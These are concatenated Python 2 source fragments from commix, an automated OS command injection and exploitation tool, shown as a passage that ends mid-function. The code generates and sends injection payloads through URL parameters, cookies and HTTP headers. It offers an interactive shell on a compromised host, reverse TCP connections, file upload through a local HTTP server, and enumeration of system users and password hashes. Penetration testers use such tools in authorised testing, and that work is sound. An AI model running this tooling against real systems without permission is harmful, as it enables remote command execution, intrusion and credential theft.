settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if not menu.file_access_options() and not menu.options.os_cmd: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : if settings.ENUMERATION_DONE != True: print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline().replace("\n","").lower() if file_access_again in settings.CHOICE_YES: cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): if not menu.enumeration_options(): print "" cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) print "" # Check if defined single cmd. if menu.options.os_cmd: if not menu.file_access_options(): print "" cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break # if settings.ENUMERATION_DONE == False and settings.FILE_ACCESS_DONE == False: # if settings.VERBOSITY_LEVEL >= 1: # print "" question_msg = "Do you want a Pseudo-Terminal shell? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace("\n","").lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print "" if cmd.lower() in settings.SHELL_OPTIONS : os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) if os_shell_option == False: if no_result == True: return False else: return True elif os_shell_option == "quit": sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": warn_msg = "You are already into the 'os_shell' mode." print settings.print_warning_msg(warn_msg)+ "\n" elif os_shell_option == "reverse_tcp": settings.REVERSE_TCP = True # Set up LHOST / LPORT for The reverse TCP connection. reverse_tcp.configure_reverse_tcp() if settings.REVERSE_TCP == False: continue while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options(settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options() result = checks.check_reverse_tcp_options(cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. shell = cb_injector.injection_results(response, TAG, cmd) if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The reverse TCP connection has failed!" print settings.print_critical_msg(err_msg) else: pass else: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # if need page reload if menu.options.url_reload and menu.options.data: time.sleep(delay) response = urllib.urlopen(url) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. try: shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) except: print "" continue if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: html_parser = HTMLParser.HTMLParser() shell = html_parser.unescape(shell) if shell != "": if settings.VERBOSITY_LEVEL >= 1: print "" print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg(err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if no_result == True: print "" return False else : sys.stdout.write("\r") sys.stdout.flush()
def file_upload(): if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): # Check if not defined URL for upload. while True: if not menu.options.batch: question_msg = "Do you want to enable an HTTP server? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) enable_HTTP_server = sys.stdin.readline().replace("\n","").lower() else: enable_HTTP_server = "" if len(enable_HTTP_server) == 0: enable_HTTP_server = "y" if enable_HTTP_server in settings.CHOICE_YES: # Check if file exists if not os.path.isfile(menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' file, does not exist." sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") raise SystemExit() # Setting the local HTTP server. if settings.LOCAL_HTTP_IP == None: while True: question_msg = "Please enter your interface IP address > " sys.stdout.write(settings.print_question_msg(question_msg)) ip_addr = sys.stdin.readline().replace("\n","").lower() # check if IP address is valid ip_check = simple_http_server.is_valid_ipv4(ip_addr) if ip_check == False: err_msg = "The provided IP address seems not valid." print settings.print_error_msg(err_msg) pass else: settings.LOCAL_HTTP_IP = ip_addr break # Check for invalid HTTP server's port. if settings.LOCAL_HTTP_PORT < 1 or settings.LOCAL_HTTP_PORT > 65535: err_msg = "Invalid HTTP server's port (" + str(settings.LOCAL_HTTP_PORT) + ")." print settings.print_critical_msg(err_msg) raise SystemExit() http_server = "http://" + str(settings.LOCAL_HTTP_IP) + ":" + str(settings.LOCAL_HTTP_PORT) info_msg = "Setting the HTTP server on '" + http_server + "/'. " print settings.print_info_msg(info_msg) menu.options.file_upload = http_server + menu.options.file_upload simple_http_server.main() break elif enable_HTTP_server in settings.CHOICE_NO: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. " print settings.print_critical_msg(err_msg) raise SystemExit() break elif enable_HTTP_server in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enable_HTTP_server + "' is not a valid answer." print settings.print_error_msg(err_msg) pass
def do_check(url): """ This functinality is based on Filippo's Valsorda script [1] which uses HEAD requests (with fallback in case of 405) to follow the redirect path up to the real URL. --- [1] https://gist.github.com/FiloSottile/2077115 """ class HeadRequest(urllib2.Request): def get_method(self): return "HEAD" class HEADRedirectHandler(urllib2.HTTPRedirectHandler): """ Subclass the HTTPRedirectHandler to make it use our HeadRequest also on the redirected URL """ def redirect_request(self, req, fp, code, msg, headers, redirected_url): if code in (301, 302, 303, 307): redirected_url = redirected_url.replace(' ', '%20') newheaders = dict( (k, v) for k, v in req.headers.items() if k.lower() not in ("content-length", "content-type")) warn_msg = "Got a " + str( code) + " redirection (" + redirected_url + ")." print settings.print_warning_msg(warn_msg) return HeadRequest(redirected_url, headers=newheaders, origin_req_host=req.get_origin_req_host(), unverifiable=True) else: err_msg = str( urllib2.HTTPError(req.get_full_url(), code, msg, headers, fp)).replace(": ", " (") print settings.print_critical_msg(err_msg + ").") raise SystemExit() class HTTPMethodFallback(urllib2.BaseHandler): """ Fallback to GET if HEAD is not allowed (405 HTTP error) """ def http_error_405(self, req, fp, code, msg, headers): fp.read() fp.close() newheaders = dict( (k, v) for k, v in req.headers.items() if k.lower() not in ("content-length", "content-type")) return self.parent.open( urllib2.Request(req.get_full_url(), headers=newheaders, origin_req_host=req.get_origin_req_host(), unverifiable=True)) # Build our opener opener = urllib2.OpenerDirector() # Check if defined any HTTP Host header. if menu.options.host: opener.addheaders.append(('Host', menu.options.host)) # Check if defined any HTTP User-Agent header. if menu.options.agent: opener.addheaders.append(('User-Agent', menu.options.agent)) # Check if defined any HTTP Referer header. if menu.options.referer and settings.REFERER_INJECTION == False: opener.addheaders.append(('Referer', menu.options.referer)) # Check if defined any HTTP Cookie header. if menu.options.cookie and settings.COOKIE_INJECTION == False: opener.addheaders.append(('Cookie', menu.options.cookie)) for handler in [ urllib2.HTTPHandler, HTTPMethodFallback, HEADRedirectHandler, urllib2.HTTPErrorProcessor, urllib2.HTTPSHandler ]: opener.add_handler(handler()) try: response = opener.open(HeadRequest(url)) redirected_url = response.geturl() if redirected_url != url: while True: if not menu.options.batch: question_msg = "Do you want to follow the identified redirection? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) redirection_option = sys.stdin.readline().replace( "\n", "").lower() else: redirection_option = "" if len(redirection_option ) == 0 or redirection_option in settings.CHOICE_YES: if menu.options.batch: info_msg = "Following redirection to '" + redirected_url + "'. " print settings.print_info_msg(info_msg) return redirected_url elif redirection_option in settings.CHOICE_NO: return url elif redirection_option in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + redirection_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: return url except urllib2.HTTPError, err: err_msg = str(err).replace(": ", " (") print settings.print_critical_msg(err_msg + ").") raise SystemExit()
def cb_injection_handler(url, timesec, filename, http_request_method): shell = False counter = 1 vp_flag = True no_result = True is_encoded = False export_injection_info = False injection_type = "results-based OS command injection" technique = "classic command injection technique" if not settings.LOAD_SESSION: info_msg = "Testing the " + "(" + injection_type.split( " ")[0] + ") " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 1: print "" i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: if whitespace == " ": whitespace = urllib.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique, injection_type): try: settings.CLASSIC_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print settings.print_critical_msg(err_msg) raise SystemExit() else: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = cb_payloads.decision_alter_shell( separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.decision( separator, TAG, randv1, randv2) # Define prefixes & suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification( payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: print settings.print_payload(payload) elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) print settings.print_payload(payload) # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = cb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = cb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = cb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) response = cb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = cb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = cb_injector.injection_test( payload, http_request_method, url) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate test results. time.sleep(timesec) shell = cb_injector.injection_test_results( response, TAG, randvcalc) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if shell == False: info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if float(float_percent) >= 99.9: if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent) + "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print settings.print_error_msg(err_msg) raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if not settings.VERBOSITY_LEVEL >= 1: print "" else: checks.total_of_requests() # Print the findings to terminal. success_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: success_msg += " " + http_request_method + "" success_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + str( checks.url_decode(payload)) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = raw_input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) #print "" break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) if not menu.file_access_options( ) and not menu.options.os_cmd and new_line: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print "" while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print "" cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print "" # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print "" cb_enumeration.single_os_cmd_exec( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write( settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: # Command execution results. time.sleep(timesec) response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload( url, timesec) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. try: shell = cb_injector.injection_results( response, TAG, cmd) shell = "".join( str(p) for p in shell) except: print "" continue if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: html_parser = HTMLParser.HTMLParser( ) shell = html_parser.unescape( shell) # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) if shell != "": print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg( err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print settings.print_error_msg(err_msg) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if no_result == True: if settings.VERBOSITY_LEVEL == 0: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def main(filename, url): try: # Ignore the mathematic calculation part (Detection phase). if menu.options.skip_calc: settings.SKIP_CALC = True # Target URL reload. if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True # Check provided parameters for tests if menu.options.test_parameter: if menu.options.test_parameter.startswith("="): menu.options.test_parameter = menu.options.test_parameter[1:] settings.TEST_PARAMETER = menu.options.test_parameter.split( settings.PARAMETER_SPLITTING_REGEX) for i in range(0, len(settings.TEST_PARAMETER)): if "=" in settings.TEST_PARAMETER[i]: settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[ i].split("=")[0] # Check if defined character used for splitting parameter values. if menu.options.pdel: settings.PARAMETER_DELIMITER = menu.options.pdel # Check if defined character used for splitting cookie values. if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel # Check if specified wrong injection technique if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: found_tech = False # Convert injection technique(s) to lowercase menu.options.tech = menu.options.tech.lower() # Check if used the ',' separator if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech: split_techniques_names = menu.options.tech.split( settings.PARAMETER_SPLITTING_REGEX) else: split_techniques_names = menu.options.tech.split() if split_techniques_names: for i in range(0, len(split_techniques_names)): if len(menu.options.tech) <= 4: split_first_letter = list(menu.options.tech) for j in range(0, len(split_first_letter)): if split_first_letter[ j] in settings.AVAILABLE_TECHNIQUES: found_tech = True else: found_tech = False if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \ found_tech == False: err_msg = "You specified wrong value '" + split_techniques_names[ i] err_msg += "' as injection technique. " err_msg += "The value, must be a string composed by the letters (C)lassic, (E)val-based, " err_msg += "(T)ime-based, (F)ile-based (with or without commas)." print settings.print_critical_msg(err_msg) sys.exit(0) # Check if specified wrong alternative shell if menu.options.alter_shell: if menu.options.alter_shell.lower( ) not in settings.AVAILABLE_SHELLS: err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" print settings.print_critical_msg(err_msg) sys.exit(0) # Check the file-destination if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: err_msg = "Host's absolute filepath to write and/or upload, must be specified (--file-dest)." print settings.print_critical_msg(err_msg) sys.exit(0) if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None: err_msg = "You must enter the '--file-write' or '--file-upload' parameter." print settings.print_critical_msg(err_msg) sys.exit(0) # Check if defined "--random-agent" option. if menu.options.random_agent: menu.options.agent = random.choice(settings.USER_AGENT_LIST) # Check if defined "--url" or "-m" option. if url: # Check if http / https url = checks.check_http_s(url) # Load the crawler if menu.options.crawldepth > 0 or menu.options.sitemap_url: if menu.options.crawldepth > 0: menu.options.DEFAULT_CRAWLDEPTH_LEVEL = menu.options.crawldepth else: if menu.options.sitemap_url: while True: if not menu.options.batch: question_msg = "Do you want to change the crawling depth level? [Y/n] > " sys.stdout.write( settings.print_question_msg(question_msg)) change_depth_level = sys.stdin.readline( ).replace("\n", "").lower() else: change_depth_level = "" if len(change_depth_level) == 0: change_depth_level = "y" if change_depth_level in settings.CHOICE_YES or change_depth_level in settings.CHOICE_NO: break elif change_depth_level in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + change_depth_level + "' is not a valid answer." print settings.print_error_msg(err_msg) pass # Change the crawling depth level. if change_depth_level in settings.CHOICE_YES: while True: question_msg = "Please enter the crawling depth level (1-2) > " sys.stdout.write( settings.print_question_msg(question_msg)) depth_level = sys.stdin.readline().replace( "\n", "").lower() if int(depth_level) >= 3: err_msg = "Depth level '" + depth_level + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: menu.options.DEFAULT_CRAWLDEPTH_LEVEL = depth_level break # Crawl the url. url = crawler.crawler(url) try: # Check if defined POST data if menu.options.data: request = urllib2.Request(url, menu.options.data) else: request = urllib2.Request(url) headers.do_check(request) #headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: proxy.do_check(url) # Check if defined Tor (--tor option). elif menu.options.tor: tor.do_check() if menu.options.flush_session: session_handler.flush(url) info_msg = "Checking connection to the target URL... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 2: print "" headers.check_http_traffic(request) try: # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: response = proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: response = tor.use_tor(request) else: try: response = urllib2.urlopen(request) except ValueError: # Invalid format for the '--headers' option. if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" err_msg = "Use '--headers=\"HEADER_NAME:HEADER_VALUE\"' " err_msg += "to provide an HTTP header or" err_msg += " '--headers=\"HEADER_NAME:" + settings.WILDCARD_CHAR + "\"' " err_msg += "if you want to try to exploit the provided HTTP header." print settings.print_critical_msg(err_msg) sys.exit(0) except urllib2.HTTPError, err_msg: if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" err_msg = str(err_msg).replace(": ", " (") + ")." print settings.print_critical_msg(err_msg) raise SystemExit html_data = content = response.read() if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" # Check for CGI scripts on url checks.check_CGI_scripts(url) # Modification on payload if not menu.options.shellshock: #settings.CURRENT_USER = "******" + settings.CURRENT_USER + ")" settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")" settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")" # Check if defined "--file-upload" option. if menu.options.file_upload: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): # Check if not defined URL for upload. while True: if not menu.options.batch: question_msg = "Do you want to enable an HTTP server? [Y/n] > " sys.stdout.write( settings.print_question_msg(question_msg)) enable_HTTP_server = sys.stdin.readline( ).replace("\n", "").lower() else: enable_HTTP_server == "" if len(enable_HTTP_server) == 0: enable_HTTP_server = "y" if enable_HTTP_server in settings.CHOICE_YES: # Check if file exists if not os.path.isfile( menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' file, does not exists." sys.stdout.write( settings.print_critical_msg(err_msg) + "\n") sys.exit(0) if settings.LOCAL_HTTP_IP == None: while True: question_msg = "Please enter your interface IP address > " sys.stdout.write( settings.print_question_msg( question_msg)) ip_addr = sys.stdin.readline().replace( "\n", "").lower() # check if IP address is valid ip_check = simple_http_server.is_valid_ipv4( ip_addr) if ip_check == False: err_msg = "The provided IP address seems not valid." print settings.print_error_msg( err_msg) pass else: settings.LOCAL_HTTP_IP = ip_addr break http_server = "http://" + str( settings.LOCAL_HTTP_IP) + ":" + str( settings.LOCAL_HTTP_PORT) + "/" info_msg = "Setting the HTTP server on '" + http_server + "'. " print settings.print_info_msg(info_msg) menu.options.file_upload = http_server + menu.options.file_upload simple_http_server.main() break elif enable_HTTP_server in settings.CHOICE_NO: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. " print settings.print_critical_msg(err_msg) sys.exit(0) break elif enable_HTTP_server in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + enable_HTTP_server + "' is not a valid answer." print settings.print_error_msg(err_msg) pass try: urllib2.urlopen(menu.options.file_upload) except urllib2.HTTPError, err_msg: print settings.print_critical_msg(str(err_msg.code)) sys.exit(0) except urllib2.URLError, err_msg: print settings.print_critical_msg( str(err_msg.args[0]).split("] ")[1] + ".") sys.exit(0)
def injection_proccess(url, check_parameter, http_request_method, filename, timesec): if menu.options.ignore_code: info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. " print(settings.print_info_msg(info_msg)) # Skipping specific injection techniques. if settings.SKIP_TECHNIQUES: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) for skip_tech_name in settings.AVAILABLE_TECHNIQUES: if skip_tech_name in menu.options.skip_tech: menu.options.tech = menu.options.tech.replace(skip_tech_name,"") if len(menu.options.tech) == 0: err_msg = "Detection procedure was aborted due to skipping all injection techniques." print(settings.print_critical_msg(err_msg)) raise SystemExit # User-Agent HTTP header / Referer HTTP header / # Host HTTP header / Custom HTTP header Injection(s) if check_parameter.startswith(" "): header_name = "" the_type = " HTTP header" else: if settings.COOKIE_INJECTION: header_name = " cookie" else: header_name = "" the_type = " parameter" check_parameter = " '" + check_parameter + "'" # Estimating the response time (in seconds) timesec, url_time_response = requests.estimate_response_time(url, 